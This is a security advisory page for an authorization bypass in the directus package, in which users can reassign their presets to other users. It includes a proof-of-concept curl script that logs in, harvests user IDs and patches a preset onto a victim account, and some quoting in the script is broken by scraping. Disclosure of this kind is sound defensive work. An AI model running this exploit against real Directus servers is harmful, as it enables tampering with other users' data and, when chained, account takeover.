Authorization Bypass Through User-Controlled Key Affecting directus package, versions *


Severity

Recommended
0.0
medium
0
10

CVSS assessment made by Snyk's Security Team

    Threat Intelligence

    Exploit Maturity
    Proof of concept
    EPSS
    0.05% (15th percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications
  • Snyk ID SNYK-JS-DIRECTUS-7689039
  • published 16 Aug 2024
  • disclosed 15 Aug 2024
  • credit Miguel Gómez

How to fix?

There is no fixed version for directus.

Overview

directus is a Directus is a real-time API and App dashboard for managing SQL database content.

Affected versions of this package are vulnerable to Authorization Bypass Through User-Controlled Key via the POST /presets and PATCH requests. An authenticated attacker can modify presets created by the same user to assign them to another user by exploiting the lack of validation for the user parameter in the PATCH request.

Note:

When chained with CVE-2024-6533, it could result in account takeover.

PoC

  1. Create a preset for a collection.

Store the preset id, or use it if it already exists from GET /presets. The following example will use the direct_users preset.

TARGET_HOST="http://localhost:8055" ATTACKER_EMAIL="malicious@malicious.com" ATTACKER_PASSWORD="123456" root_dir=$(dirname $0) mkdir "${root_dir}/static" curl -s -k -o /dev/null -w "%{http_code}" -X 'POST' "${TARGET_HOST}/auth/login" \ -c "${root_dir}/static/attacker_directus_session_token" \ -H 'Content-Type: application/json' \ -d "{\"email\":\"${ATTACKER_EMAIL}\",\"password\":\"${ATTACKER_PASSWORD}\",\"mode\":\"session\"}" attacker_user_id=$(curl -s -k "${TARGET_HOST}/users/me" \ -b "${root_dir}/static/attacker_directus_session_token" | jq -r ".data.id") # Store all user's id curl -s -k "${TARGET_HOST}/users" \ -b "${root_dir}/static/attacker_directus_session_token" | jq -r ".data[] | select(.id != \"${attacker_user_id}\")" > "${root_dir}/static/users.json"

Choose the victim user id from the previous request

victim_user_id="4f079119-2478-48c4-bd3a-30fa80c5f265" users_preset_id=$(curl -s -k -X 'POST' "${TARGET_HOST}/presets"
-H 'Content-Type: application/json'
-b "${root_dir}/static/attacker_directus_session_token"
--data-binary "{"layout":"cards","bookmark":null,"role":null,"user":"${attacker_user_id}","search":null,"filter":null,"layout_query":{"cards":{"sort":["email"]}},"layout_options":{"cards":{"icon":"account_circle","title":"{{tittle}}","subtitle":"{{ email }}","size":4}},"refresh_interval":null,"icon":"bookmark","color":null,"collection":"directus_users"}" | jq -r '.data.id')

  1. Modify the presets via PATCH /presets/{id}.

With the malicious configuration and the user ID to which you will assign the preset configuration. The user ID can be obtained from GET /users. The following example modifies the title parameter.

curl -i -s -k -X 'PATCH' "${TARGET_HOST}/presets/${users_preset_id}" \
    -H 'Content-Type: application/json' \
    -b "${root_dir}/static/attacker_directus_session_token" \
    --data-binary "{\"layout\":\"cards\",\"bookmark\":null,\"role\":null,\"user\":\"${victim_user_id}\",\"search\":null,\"filter\":null,\"layout_query\":{\"cards\":{\"sort\":[\"email\"]}},\"layout_options\":{\"cards\":{\"icon\":\"account_circle\",\"title\":\"PoC Assign another users presets\",\"subtitle\":\"fakeemail@fake.com\",\"size\":4}},\"refresh_interval\":null,\"icon\":\"bookmark\",\"color\":null,\"collection\":\"directus_users\"}"

CVSS Scores

version 4.0
version 3.1
Expand this section

Snyk

Recommended
5.1 medium
  • Attack Vector (AV)
    Network
  • Attack Complexity (AC)
    Low
  • Attack Requirements (AT)
    None
  • Privileges Required (PR)
    Low
  • User Interaction (UI)
    Passive
  • Confidentiality (VC)
    None
  • Integrity (VI)
    Low
  • Availability (VA)
    None
  • Confidentiality (SC)
    None
  • Integrity (SI)
    Low
  • Availability (SA)
    None